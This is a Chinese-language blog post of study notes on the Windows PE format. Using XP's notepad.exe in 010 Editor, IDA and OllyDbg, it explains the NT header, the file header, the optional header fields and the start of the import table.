尤其是搜NotePad作者的时候总是铺天盖地的降智辱华话题,凡是能在这种话题上引起讨论的都是大聪明

NT头

1
2
3
4
5
6
7
8
9
10
11
typedef struct _IMAGE_NT_HEADERS64 {//64位程序的NT头
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64,*PIMAGE_NT_HEADERS64;

typedef struct _IMAGE_NT_HEADERS {//32位程序的NT头
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32,*PIMAGE_NT_HEADERS32;

对于notepad.exe

image-20220711122440212

其NT头从E8h开始,长度为F8h

包括三个成员,一个双字类型的签名魔数4550h,表明NT头开始了

两个结构体成员,一个文件头,一个可选头

Nt文件头

1
2
3
4
5
6
7
8
9
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER;

notepad.exe的文件头

image-20220711122847055
Machine

Machine是机器码,表征该程序可以在哪种计算机体系上运行

image-20220711123000530

显然winXP上的notepad.exe的Machine值是14Ch,对应x86体系

NumberOfSections

节区数量,该值和节区头表中存在的节区数量一定相等

NotePad.exe中该值为3,其后面的节区数量也确实为3

image-20220711123225586

该值决定了节区头表的大小(每个节都在节区头表中有相同大小的一项)

image-20220711123352685

可以看出节区头表中的项目都是28h字节大小的

TimeDateStamp

链接器生成该文件的时间,该值是从1970年1月1日0时(UTC时间)开始的秒数

notepad.exe中该值为

image-20220711123559456

010editor已经帮我们换算好了时间,是2001.8.17 20:52:29

PointerToSymbolTable

符号表symbol table的偏移量,如果没有符号表则该值为0

notepad.exe中没有符号表,该值为0

为啥可以没有符号表呢?

符号是给人看的,比如每个函数,每个变量都有一个名字.这是为了方便人记忆与理解

但是机器不需要,要执行哪个函数只会在汇编语言中写上call 地址,只认地址不认名

可能编译链接阶段需要符号解析,用到符号表,但是一旦编译链接完成,生成了可执行目标文件,符号表就纯纯的没用了

NumberOfSymbols

记录符号表中的符号数量

notepad.exe没有符号表,该项也为0

SizeOfOptionalHeader

可选头的大小

在notepad.exe中该值为224D=E0h

image-20220711131155606

紧跟在文件头后面的可选头恰好就这么大

image-20220711131247686

DOS头记录了NT头的偏移量,类比一下,为啥没有记录可选头的起始位置呢?

因为文件头的大小是固定的14h,Characterstics是一些二进制位按位或,其总长度就是一个WORD不变

因此可选头紧接着文件头,只要文件头的偏移量知道了,立刻可以算出

可选头的偏移量=文件头+14h字节

而文件头的偏移量是多少?文件头是Nt头的第二个成员,第一个成员是一个双字类型的NT签名,

因此文件头的偏移量=Nt头的偏移量+4字节

Nt头的偏移量是多少?DOS头的DWORD AddressOfNewExeHeader会直接给出

AddressOfNewExeHeader在哪里?DOS头是PE文件的开始,AddressOfNewExeHeader是其3C偏移处,即AddressOfNewHeader永远是PE文件的3Ch到40h字节

Characteristics

本文件属性,多个属性时按位或

比如0x0002就表示可执行映像,意味本文件可以执行(没有未解析的外部引用),

显然括号里是说给可重定位目标模块听的,因为.obj只是完成了编译,尚未经过链接,外部符号仍未解析

又如0x2000就表示DLL动态库文件,虽然它是可执行文件,但是它不能直接运行.

又如0x4000表示本文件只能在单处理机计算机上运行

Value Meaning
IMAGE_FILE_RELOCS_STRIPPED0x0001 Relocation information was stripped from the file. The file must be loaded at its preferred base address. If the base address is not available, the loader reports an error.
IMAGE_FILE_EXECUTABLE_IMAGE0x0002 The file is executable (there are no unresolved external references).
IMAGE_FILE_LINE_NUMS_STRIPPED0x0004 COFF line numbers were stripped from the file.
IMAGE_FILE_LOCAL_SYMS_STRIPPED0x0008 COFF symbol table entries were stripped from file.
IMAGE_FILE_AGGRESIVE_WS_TRIM0x0010 Aggressively trim the working set. This value is obsolete.
IMAGE_FILE_LARGE_ADDRESS_AWARE0x0020 The application can handle addresses larger than 2 GB.
IMAGE_FILE_BYTES_REVERSED_LO0x0080 The bytes of the word are reversed. This flag is obsolete.
IMAGE_FILE_32BIT_MACHINE0x0100 The computer supports 32-bit words.
IMAGE_FILE_DEBUG_STRIPPED0x0200 Debugging information was removed and stored separately in another file.
IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP0x0400 If the image is on removable media, copy it to and run it from the swap file.
IMAGE_FILE_NET_RUN_FROM_SWAP0x0800 If the image is on the network, copy it to and run it from the swap file.
IMAGE_FILE_SYSTEM0x1000 The image is a system file.
IMAGE_FILE_DLL0x2000 The image is a DLL file. While it is an executable file, it cannot be run directly.
IMAGE_FILE_UP_SYSTEM_ONLY0x4000 The file should be run only on a uniprocessor computer.
IMAGE_FILE_BYTES_REVERSED_HI0x8000 The bytes of the word are reversed. This flag is obsolete.

notepad.exe中该值为010Fh(小端序)

image-20220711125018251

010F=0100 | 0001 | 0002 | 0004 | 0008,即集合了5个属性

包括:

0001:重定位信息被删,本程序必须加载到其可选头中规定的ImageBase处,否则报错

0002:可执行

0004:COFF行号被删

COFF:common object file format.通用对象文件格式,这是Unix的目标文件格式,windows最初的目标文件就是抄的COFF

编译时加入-g选项就会生成,gcc -g,该选项的作用是生成调试信息,因此COFF行号的作用之一就是调试,之二是啥我目前不知道

0008:COFF符号表被删

符号表是从可重定位目标文件连接到可执行目标文件进行符号解析时需要的.

.o和.obj这种可重定位目标模块必须要有符号表

.exe和.out这种可执行目标模块不需要有

显然notepad.exe已经编译链接好了,不需要符号表了

0100:计算机支持32位的字,意思是CPU可以一次性处理32位宽的数据.

显然x86_32上的大部分寄存器(比如eax,esp)等都是32位宽的,总线宽度也是32位,CPU完全有能力一次性处理32位宽的数据

可选头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;
Magic

区分本文件是32位还是64位又或者是ROM映像的魔数

magic=0x10B表示32位

magic=0x20B表示64位

magic=0x107表示ROM映像

前两个好理解,这第三个ROM映像是啥呢?

表明本程序是烧录到一个ROM存储器中的固件

比如BIOS中的程序,CD-ROM中的程序等等

winXP上的notepad.exe自然是32位的

image-20220711132424181

010editor也帮我们把枚举类型10Bh翻译成了PE32

Major/MinorLinkerVersion

主/次链接器版本

对于notepad.exe这种已经编译链接完成的程序来说,自然这两个值白给

这两个值是相对于可重定位目标模块.o,.obj或者库文件.so,.dll这种需要参与链接的目标文件而言的

notepad.exe的这两个值分别是7和0

image-20220711132938159

这个版本号应该是MSVC的版本,不是GCC的ld链接器的版本

img

根据notepad.exe的开发时间2001年,差不多就是MSVC++ 7.0的时间

而GCC ld到现在才是版本2

image-20220711133034580

就算是gcc本身的版本在2001年左右也才是3,目前在linux上是11,windows上是9

image-20220711133237229

胡乱写了一个main.c用gcc编译链接成main.exe然后用010editor打开观察,

发现主链接器版本确实就是ld的当前版本2

image-20220711134050894

但是次链接器版本就是乱码了,看来这个值不重要

SizeOfCode

code节的大小,然而我从来没有见过叫.code的节,code不就是代码吗,不就是指令吗,不就是.text节咩?

在notepad.exe上SizeOfCode是6E00h

image-20220711134530037

后面.text节区恰好就是6E00h这么大

image-20220711134550293
SizeOfInitializedData

已初始化的数据节

notepad.exe中SizeOfInitializedData=36864D=9000H

image-20220711134856362

.data和.rsrc节合起来才刚好是9000h这么大,看来不光是.data节,还得算上类似性质的节

image-20220711134923197

.data节是已初始化的全局变量和静态变量,这容易理解,那么.rsrc是个什么节呢?

查阅PE 格式 - Win32 apps | Microsoft Docs

rsrc节用来存放资源

image-20220711135628794

这里"资源"包括图标等,看介绍是以树形结构组织的,类似于HTML?

image-20220711135744137
SizeOfUninitializedData

未初始化的数据节,应该是指.bss节,然而notepad.exe上该值为0,自然也就没有.bss节

(应该说节区头表中就没有.bss节的记录,真正的节区中永远都没有.bss节,因为它只会在执行时才会形成

image-20220711135949436
AddressOfEntryPoint

入口点函数指针,具体指向谁呢?看看notepad.exe是啥样的

AddressOfEntryPoint=6AE0

这个值是个相对进程映像基地址ImageBase 的偏移量,或者叫RVA

image-20220711141108874

010editor给了提示,.text节中偏移量为0x5EE0的地方,为啥从6AE0变成5EE0了?

先用010editor看看0x5EE0这个地方发生了啥

image-20220711141602298

两个压栈,好像是函数开端的样子,然而两个地址分别是啥,这个问题还没有解决.

用ida打开notepad.exe观察0x1006AE0这个位置

1
2
3
4
5
.text:01006AE0 ; __unwind { // __SEH_prolog
.text:01006AE0 push 70h
.text:01006AE2 push offset stru_1001888 ; struct _exception *
.text:01006AE7 call __SEH_prolog
.text:01006AEC xor ebx, ebx

发现这里的指令和在010editor中观察0x5EE0是一模一样的.

到底发生甚么事了?

为啥是0x1006AE0不是0x6AE0?为啥不观察0x5EE0或者0x1005EE0?

ida打开的文件实际上是文件加载到内存之后的映像,不然任务管理器上看IDA为啥会一枝独秀地使用133.3M这么大的内存空间?

image-20220711142150809

而010editor打开的是磁盘文件系统中躺着的静态文件

前面权位指南也讲过,两者是有很大差别的

文件系统中的静态文件都是从0开始计算偏移量RAW

进程映像则从一个指定的基地址开始计算实际虚拟地址空间中的地址,VA=RVA+ImageBase

而notepad.exe的ImageBase就在可选头中规定为1000000h

image-20220711142522560

因此notepad.exe的进程映像就是从1000000h开始的,这就解释了为啥要用ida观察0x1006AE0,而不是0x6AE0

至于另一个问题,这是因为,节区在磁盘文件中存放和加载到内存映像中时,有不同的对齐要求

往往内存中的对齐要求更大,因此对于PE头和text节之间的空隙,进程映像中的更大,

因此text节的RAW(文件偏移 )和RVA(虚拟地址偏移)是不同的,并且有RVA>RAW

更详细的原因需要学习后面的RAW to RVA,将进程从文件装载进入内存的知识

BaseOfCode

代码段在虚拟地址空间中的开始地址

notepad.exe这种BaseOfCode=1000h,即虚拟内存中的相对偏移量RVA=1000h,那么实际虚拟地址为VA=Image+RVA=1000000h+1000h=1001000h

image-20220711165812127

使用ida观察这个1001000h地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
.idata:01001000 ; Section 1. (virtual address 00001000)
.idata:01001000 ; Virtual size : 00006D72 ( 28018.)
.idata:01001000 ; Section size in file : 00006E00 ( 28160.)
.idata:01001000 ; Offset to raw data for section: 00000400
.idata:01001000 ; Flags 60000020: Text Executable Readable
.idata:01001000 ; Alignment : default
.idata:01001000 ;
.idata:01001000 ; Imports from ADVAPI32.dll
.idata:01001000 ;
.idata:01001000 ; PDB File Name : notepad.pdb
.idata:01001000
.idata:01001000 .686p
.idata:01001000 .mmx
.idata:01001000 .model flat
.idata:01001000
.idata:01001000 ; ===========================================================================
.idata:01001000
.idata:01001000 ; Segment type: Externs
.idata:01001000 ; _idata
.idata:01001000 ; LSTATUS __stdcall RegQueryValueExW(HKEY hKey, LPCWSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
.idata:01001000 extrn RegQueryValueExW:dword
.idata:01001000 ; CODE XREF: RegGetInt(x,x,x)+32↓p
.idata:01001000 ; RegGetString(x,x,x,x,x)+27↓p
.idata:01001000 ; DATA XREF: ...
.idata:01001004 ; LSTATUS __stdcall RegCloseKey(HKEY hKey)
.idata:01001004 extrn RegCloseKey:dword ; CODE XREF: SaveGlobals()+24A↓p
.idata:01001004 ; GetGlobals()+29B↓p ...
...

发现是.idata节的开始

ida在该节一开始给出了一块注释:

1
2
3
4
5
6
.idata:01001000 ; Section 1. (virtual address 00001000)
.idata:01001000 ; Virtual size : 00006D72 ( 28018.)
.idata:01001000 ; Section size in file : 00006E00 ( 28160.)
.idata:01001000 ; Offset to raw data for section: 00000400
.idata:01001000 ; Flags 60000020: Text Executable Readable
.idata:01001000 ; Alignment : default

第一节(相对虚拟地址1000h)

虚拟内存中的大小6D72h

磁盘文件中的大小6E00h

磁盘文件中的基地址400h

标志:60000020,意思是可执行可读 不可写

对齐:默认

这些都和010editor给出的结果相吻合

问题是,idata名字里都带有data了,不应该算是数据吗?怎么就是代码了?

但是观察ida反汇编的结果,这里都是extern声明的函数接口,确实不是数据,但你说它是代码吧,它还没有实现

微软对于该节给出的解释是:

These tables were added to the image to support a uniform mechanism for applications to delay the loading of a DLL until the first call into that DLL. The layout of the tables matches that of the traditional import tables that are described in section 6.4, The .idata Section." Only a few details are discussed here.

作用是允许DLL库函数在首次被调用是加载

win32exe程序中的idata节非常像linux可执行目标文件中的extern节,

也确实,因为ida给idata节一开始的注释就是Segment Type:extern

image-20220711170645587

Linux上从.textextern的调用顺序为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
首先是.text:000011C2                 call    _printf

然后是
.plt:00001030 ; int printf(const char *format, ...)
.plt:00001030 _printf proc near ; CODE XREF: main+25↓p
.plt:00001030
.plt:00001030 format = dword ptr 4
.plt:00001030
.plt:00001030 jmp ds:off_400C ; PIC mode
.plt:00001030 _printf endp
.plt:00001030

然后是
.got.plt:0000400C off_400C dd offset printf ; DATA XREF: _printf↑r

然后是
extern:0000402C ; int printf(const char *format, ...)
extern:0000402C extrn printf:near ; CODE XREF: _printf↑j
extern:0000402C ; DATA XREF: .got.plt:off_400C↑o

.text->.plt->.got.plt->extern

类比windows上的32位exe是

1
2
3
4
5
6
7
首先是.text:010069CC                 call    ds:IsTextUnicode

然后是
.idata:0100100C ; BOOL __stdcall IsTextUnicode(const void *lpv, int iSize, LPINT lpiResult)
.idata:0100100C extrn IsTextUnicode:dword
.idata:0100100C ; CODE XREF: sub_10069BA+12↓p
.idata:0100100C ; DATA XREF: sub_10069BA+12↓r

.text->.idata(extern)

windows上对动态库函数的调用貌似比linux上少了got,plt表这一步.

windows上idata具体什么机制呢?这需要学了核心原理后面的IAT才能知道

BaseOfData

数据段的相对虚拟地址RVA

notepad.exe中该值为8000h,那么实际虚拟内存地址就是1000000h+8000h=1008000h

image-20220711171954659

ida跳转该地址观察

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.data:01008000 ; Section 2. (virtual address 00008000)
.data:01008000 ; Virtual size : 00001BA8 ( 7080.)
.data:01008000 ; Section size in file : 00000600 ( 1536.)
.data:01008000 ; Offset to raw data for section: 00007200
.data:01008000 ; Flags C0000040: Data Readable Writable
.data:01008000 ; Alignment : default
.data:01008000 ; ===========================================================================
.data:01008000
.data:01008000 ; Segment type: Pure data
.data:01008000 ; Segment permissions: Read/Write
.data:01008000 _data segment para public 'DATA' use32
.data:01008000 assume cs:_data
.data:01008000 ;org 1008000h
.data:01008000 ; BYTE Data
.data:01008000 Data dd 78h ; DATA XREF: NPCommand(x,x,x)+4D6↑r
.data:01008000 ; NPCommand(x,x,x)+569↑w ...
.data:01008004 dword_1008004 dd 1 ; DATA XREF: CheckSave(x)+27↑r
.data:01008004 ; CheckSave(x)+65↑r ...
.data:01008008 ; WCHAR ClassName
.data:01008008 ClassName: ; DATA XREF: sub_1004143+59↑o
.data:01008008 ; NPInit(x,x,x,x)+10D↑o
.data:01008008 text "UTF-16LE", 'Notepad',0
.data:01008018 ; int dword_1008018
.data:01008018 dword_1008018 dd 0FFFFFFFFh ; DATA XREF: NpSaveDialogHookProc(x,x,x,x)+94↑r
.data:01008018 ; NpOpenDialogHookProc(x,x,x,x)+4F↑w ...
....

ida一开始给出的一块注释

1
2
3
4
5
6
.data:01008000 ; Section 2. (virtual address 00008000)
.data:01008000 ; Virtual size : 00001BA8 ( 7080.)
.data:01008000 ; Section size in file : 00000600 ( 1536.)
.data:01008000 ; Offset to raw data for section: 00007200
.data:01008000 ; Flags C0000040: Data Readable Writable
.data:01008000 ; Alignment : default

第二节(相对虚拟地址8000h)

虚拟内存中的大小1BA8h字节

磁盘文件中的大小600h字节

磁盘文件中本节的基地址7200h

标志:c0000040,数据段可读写,不可执行

对齐:默认

ImageBase
image-20220711172941299

虚拟地址空间中进程的基地址,也就是PE头将会从0x1000000这个地址开始装载

这一点已经在前面的实验中多次证实了

微软给出的解释是:

The preferred address of the first byte of the image when it is loaded in memory. This value is a multiple of 64K bytes. The default value for DLLs is 0x10000000. The default value for applications is 0x00400000, except on Windows CE where it is 0x00010000.

映像首个字节在装载进内存时最好使用ImageBase这个地址

ImageBase这个值必须是64K(0x10000)的倍数,也就是说,就算装不进0x1000000,下一个有效地址应该是0x1010000,再下一个就得是0x1020000,啃腚不会出现0x1011000这种ImageBase值

DLL动态库该值的默认值是0x10000000

应用程序该值默认为0x400000

应用程序在windows CE系统上该值为默认为0x10000

显然notepad.exe的ImageBase=0x1000000不是DLL的ImageBase默认值(注意零的个数不一样)

也不是应用程序的,它就非得搞那个特殊

我们自己写一个helloworld然后gcc helloworld.c -O0 -o helloworld -m32编译成一个32为程序,用010editor观察其ImageBase确实是0x400000

image-20220711173959730

为啥ida最上最上只能观察到0x1001000这个位置?不是应当从0x1000000开始吗?

image-20220711174053133

并且就算使用G企图跳转到1000000这个位置,ida也会报告Command "JumpAsk" failed

这是为啥?前面的东西让ida吃了?

原因是ida反汇编显示的只有PE体,即去掉PE头剩下的各节区(注意不是节区头表)

而ollydbg就可以Ctrl+G跳转到0x1000000这个位置

image-20220711174407510

上来是PE魔数0x5A 4D

而ollydbg的反汇编窗口把它也当成指令了

这时候应该看16进制视图

image-20220711174508519

可以看到最开始的MZ魔数

SectionAlignment

节对齐要求,每个节都必须按照该要求装进虚拟地址空间的合适位置

该值必须大于等于FileAlignment的值,这就解释了为啥进程映像在虚拟内存中的大小要比躺在为你文件中时要大

默认的SectionAlignment大小为一个页框的大小(win32上一个页框\(4K=2^{12}=0x1000h\))

image-20220711185609155

notepad.exe是满足该对齐要求的

FileAlignment

磁盘文件中的节对齐要求,这个值必须是一个2的幂\([2^8,2^{16}]\)

默认是512,如果SectionAlignment的值比页框要小,则FileAlignment必须和SectionAlignment相同

image-20220711185848617

notepad.exe上由于SectionAlignment和页框一样大,因此FileAlignment可以小

实际上是默认值512=200h

Major/MinorOperatingSystemVersion

主要/次要操作系统版本号

image-20220711193701271

这个版本号可以在CMD命令提示符上使用ver命令查询(在powershell上不能用这个命令)

1
2
3
C:\Users\86135>ver

Microsoft Windows [版本 10.0.22621.105]

系统版本号表:

Operating system Version number
Windows 11 10.0*
Windows 10 10.0*
Windows Server 2022 10.0*
Windows Server 2019 10.0*
Windows Server 2016 10.0*
Windows 8.1 6.3*
Windows Server 2012 R2 6.3*
Windows 8 6.2
Windows Server 2012 6.2
Windows 7 6.1
Windows Server 2008 R2 6.1
Windows Server 2008 6.0
Windows Vista 6.0
Windows Server 2003 R2 5.2
Windows Server 2003 5.2
Windows XP 64-Bit Edition 5.2
Windows XP 5.1
Windows 2000 5.0
Windows 98 / Windows Me 4.0
Windows 95 4.0

也就是说是最早可以运行notepad.exe的windows系统就是win 2000,

只要版本号比5高的系统都可以运行notepad.exe

Major/MinorImageVersion

主要/次要映像版本

image-20220711193728974

也可以在CMD上用dism /online /get-targeteditions命令查看

1
2
3
4
5
6
C:\Users\86135>dism /online /get-targeteditions

部署映像服务和管理工具
版本: 10.0.22621.1

映像版本: 10.0.22621.105

这个东西是干啥的,没有搜到

Major/MinorSubsystemVersion

主要/次要子系统版本

image-20220711193741398
Win32VersionValue

预留值,必须为0

image-20220711193752606
SizeOfImage

映像大小,即本文件完全装载进入虚拟内存中占用的空间

image-20220711193823319

该值必须是节对齐要求的整数倍

SizeOfHeaders

包括DOS头,Nt头,节头表三个的总大小,然后向上舍入到一个FileAlignment的倍数值

image-20220711193840091
CheckSum

检校和

image-20220711193848414

从程序最开始,以两个字节为单位不断相加,忽略溢出,最后加上文件长度得到校验和

在加载任何驱动程序,启动时任何动态库,任何系统进程加载动态库时

都需要经过检校

SubSystem

这是一个枚举值,每个值对应一个序号,表示运行本镜像需要的子系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define IMAGE_SUBSYSTEM_UNKNOWN 0
#define IMAGE_SUBSYSTEM_NATIVE 1
#define IMAGE_SUBSYSTEM_WINDOWS_GUI 2
#define IMAGE_SUBSYSTEM_WINDOWS_CUI 3
#define IMAGE_SUBSYSTEM_OS2_CUI 5
#define IMAGE_SUBSYSTEM_POSIX_CUI 7
#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS 8
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI 9
#define IMAGE_SUBSYSTEM_EFI_APPLICATION 10
#define IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER 11
#define IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER 12
#define IMAGE_SUBSYSTEM_EFI_ROM 13
#define IMAGE_SUBSYSTEM_XBOX 14
#define IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION 16

比如2号就是windows用户图形界面接口子系统,就是窗口程序

比如3号就是windows字符模式用户接口子系统,就是控制台程序

notepad.exe当然需要GUI界面,因此该值为2

image-20220711193921306

自己写的控制台程序helloworld.exe,这个值就是CUI

image-20220711194026471

如果使用010editor将notepad.exe的SubSystem值给他改一下,改成CUI,会发生啥呢?

会同时运行一个控制台和一个窗口程序

image-20220711194252567

在控制台上使用ctrl+C中断进程

1
[已退出进程,代码为 3221225786 (0xc000013a)]

窗口也会跟着关闭

同理点选窗口右上角的❌,控制台也会关闭

将SubSystem值再改为其他值都会报错无法在win32环境运行

DllCharacteristics

枚举值,描述本映像加载动态库的属性

Value Meaning
0x0001 Reserved.
0x0002 Reserved.
0x0004 Reserved.
0x0008 Reserved.
IMAGE_DLL_CHARACTERISTICS_HIGH_ENTROPY_VA0x0020 ASLR with 64 bit address space.
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE0x0040 The DLL can be relocated at load time.
IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY0x0080 Code integrity checks are forced. If you set this flag and a section contains only uninitialized data, set the PointerToRawData member of IMAGE_SECTION_HEADER for that section to zero; otherwise, the image will fail to load because the digital signature cannot be verified.
IMAGE_DLLCHARACTERISTICS_NX_COMPAT0x0100 The image is compatible with data execution prevention (DEP).
IMAGE_DLLCHARACTERISTICS_NO_ISOLATION0x0200 The image is isolation aware, but should not be isolated.
IMAGE_DLLCHARACTERISTICS_NO_SEH0x0400 The image does not use structured exception handling (SEH). No handlers can be called in this image.
IMAGE_DLLCHARACTERISTICS_NO_BIND0x0800 Do not bind the image.
IMAGE_DLL_CHARACTERISTICS_APPCONTAINER0x1000 Image should execute in an AppContainer.
IMAGE_DLLCHARACTERISTICS_WDM_DRIVER0x2000 A WDM driver.
IMAGE_DLL_CHARACTERISTICS_GUARD_CF0x4000 Image supports Control Flow Guard.
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE0x8000 The image is terminal server aware.

比如0x0020表示ASLR,地址随机化

比如0x0040表示动态库可以在装载时重定位

0x0080,强迫进行代码完整性检查,作用是防止恶意代码注入等等安全问题

0x0100,NX保护,数据段不可执行

...

image-20220711195943323

notepad.exe上这个值为0x8000(小端)

SizeOfStackReserve

栈区预留空间大小,notepad.exe上栈区的预留了大小是40000h,即256K

image-20220711200402067

该值就是栈区的最大大小,要是本地变量太多或者函数递归太深太多,则发生栈溢出,

这里可以自己写一个程序实验一下,

524288=2^19=2^9K=80000h<800000=2e5

那么我们在代码中开一个2e5的int数组,超过了524288字节,看看能否开出来

1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main(){
int arr[200000];//2e5数组
for(int i=0;i<200000;++i){
arr[i]=i;
}
return 0;
}
image-20220714232816684

可以看到,本来预留的 栈空间是200000h=2M是可以放下2e5的数组的,全换算成int是0.5M个,即512K

此时程序正常运行

现在给他穿个小鞋

image-20220711202828849

果然寄了

image-20220711202847174

而这个返回代码0xc00000fd正是栈溢出的状态

Windows 异常代码查询

SizeOfStackCommit

栈提交大小,notepad.exe上栈提交大小是11000h即68K

image-20220711200716003

啥是"提交大小"?

中文站点下没找到,在stackoverflow上找到了解答

c++ - What is the Difference between reserve and commit argument to CreateThread? - Stack Overflow

The commit is the size of physical memory that the system should preallocate for the stack

commit就是为栈区预留的物理内存大小

SizeOfStackReserve是栈区最大占用的虚拟内存空间的大小

SizeOfStackCommit是栈区对应虚拟内存实际使用的物理内存大小

SizeOfHeapReserve

堆区预留空间大小,类似于SizeOfStackReserve

image-20220711201710792
SizeOfHeapCommit

堆区实际使用物理地址空间大小

image-20220711201719842
LoaderFlags

已经被官方扬了

NumberOfRvaAndSizes
image-20220711204300399

微软也是春秋笔法,这个值的解释就短短一行

The number of directory entries in the remainder of the optional header. Each entry describes a location and size.

可选头中剩下的部分中,目录条目的个数.

每个条目描述了一个位置和大小

你说你🐎呢,这说了个什么事啊?

这需要联系可选头剩余的部分一起看,确实剩下的部分有16个条目

image-20220711204911890

这16个条目顺序是固定的,

如果NumberOfRvaAndSizes=1则只有导出表条目

image-20220711210809700

如果NumberOfRvaAndSizes=2则有导出表和导入表两个条目

image-20220711210848527

...

以此类推

每个条目对应的表是干啥的呢?

DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]

其中数组大小#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16这个值恒为16不变,

意思是,虽然DataDirectory一直就是16项,但是实际多少项有效,这需要上一个成员NumberOfRvaAndSizes来决定

现在的问题是,DataDirectory数组的元素是什么呢?

image-20220712111448720

每个数组元素的结构相同

image-20220711205101433

DataDirectory数组中的每项都对应一个重要的技术,包括导入表,导出表,重定位等等

每一个都有一个VirtualAddress,指向一个相对虚拟地址,还有一个size成员,表征一个大小

指向的谁,表征的又是谁的大小呢?

DataDirectory[1]=Import

以其中的导入表Import为例,其VIrtualAddress指向相对虚拟地址6D20h,010editor已经帮我们计算出了文件偏移为0x6120

image-20220712111646633

下面用010editor观察00x6120这个位置

image-20220712112009554

发现这是一个名为ImportDescriptor[]的数组的位置

该位置在节区之后,显然已经出了PE头了

这个数组一共有9项,下标0到8,每项大小相同都是14h=20d,这样算下来这个数组大小是20*9=180字节

然而刚才DataDirectory的Import项中,Size=200.这表明ImportDescriptor[]应该有10项.

回到010editor观察ImportDescriptor[8]之后的编码

image-20220712112522955

发现ImportDescriptor[8]后面还有20个自己都是0

image-20220712112658025

也就是说ImportDescriptor[9]全空

现在的问题是,ImportDescriptor[]数组是干啥的呢?

DataDirectory[1].VirtualAddress->&ImportDescriptor[]

DataDirectory[1]是数据目录 的 第二项,或者说导入目录表项

DataDirectory[1].VirtualAddress指向ImportDescriptor导入描述符表的基址

_IMAGE_IMPORT_DESCRIPTOR结构体数组ImportDescriptor[],也可以叫做IMPORT Directory Table

各种叫法还有指针瞎j8值的关系,一定要分清

ImportDescriptor[]在节区之后,不属于PE头.

PE

权威指南:

IMAGE_IMPORT_DESCRIPTOR结构体ImportDescriptor[],

其中记录着PE文件要导入哪些库文件,程序需要多少导入个库,就需要有多少个ImportDescriptor项目,这些项目组成数组,数组最后一项全空

这和我们刚才观察到的是相吻合的

IID是给PE装载器用的,先贴上PE装载器的干活步骤

image-20220712121817219

其中IID是_IMAGE_IMPORT_DESCRIPTOR的缩写

INT是import name table导入名称表的缩写,也就是IID中OriginalFIrstThunk指向的地址

IAT是import address table 导入地址表,也就是ida反汇编之后的.idata区

关于INT和IAT,权位指南也给了一张图,但是属于"会的一看就明白,不会的看了还是不会(出自祭祖老师顾新)"那种

image-20220712124021808

这个图怎么看呢?

最左边这个是一个IID结构体,也就是ImportDescriptor[]的一项

其中Name="Kernel32.dll",这是一个DLL库名,表明本IID的作用是导入DLL库中的函数

OriginalFirstThunk指向INT表基址,这个INT表实际上是_IMAGE_IMPORT_BY_NAME结构体数组,每一项都由一个Hint和一个字符串名组成,每个库函数都有自己的名字,比如GetCurrentThreadld,也有在库中的唯一的编号放在Hint中

FirstThunk指向IAT表基址,这个IAT表就是用ida观察时,.idata区中extern声明的函数.

对于一个库,其对应INT和IAT表中的表项应该是一样多的,意思就是需要使用几个函数就解析几个函数地址,多一个也不干

程序text正文代码段调用库函数时就是call idata区中的"函数",就像call ds:DragFinish.那么idata区的"函数"应当是一个地址,

然而动态库是在程序装载时,运行前装载的,此时已经经过了编译链接,显然即使动态库已经映射进入进程的虚拟地址空间了,但是调用库函数的地方还是不知道库函数在哪里.

这就好比我虽然和058班同学在同一所大学,但是我不知道sjf在哪个宿舍住,我想上门拜访一下却不知道应该去哪里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;//按照Hint编号加载函数
CHAR Name[1];//
} IMAGE_IMPORT_BY_NAME,*PIMAGE_IMPORT_BY_NAME;

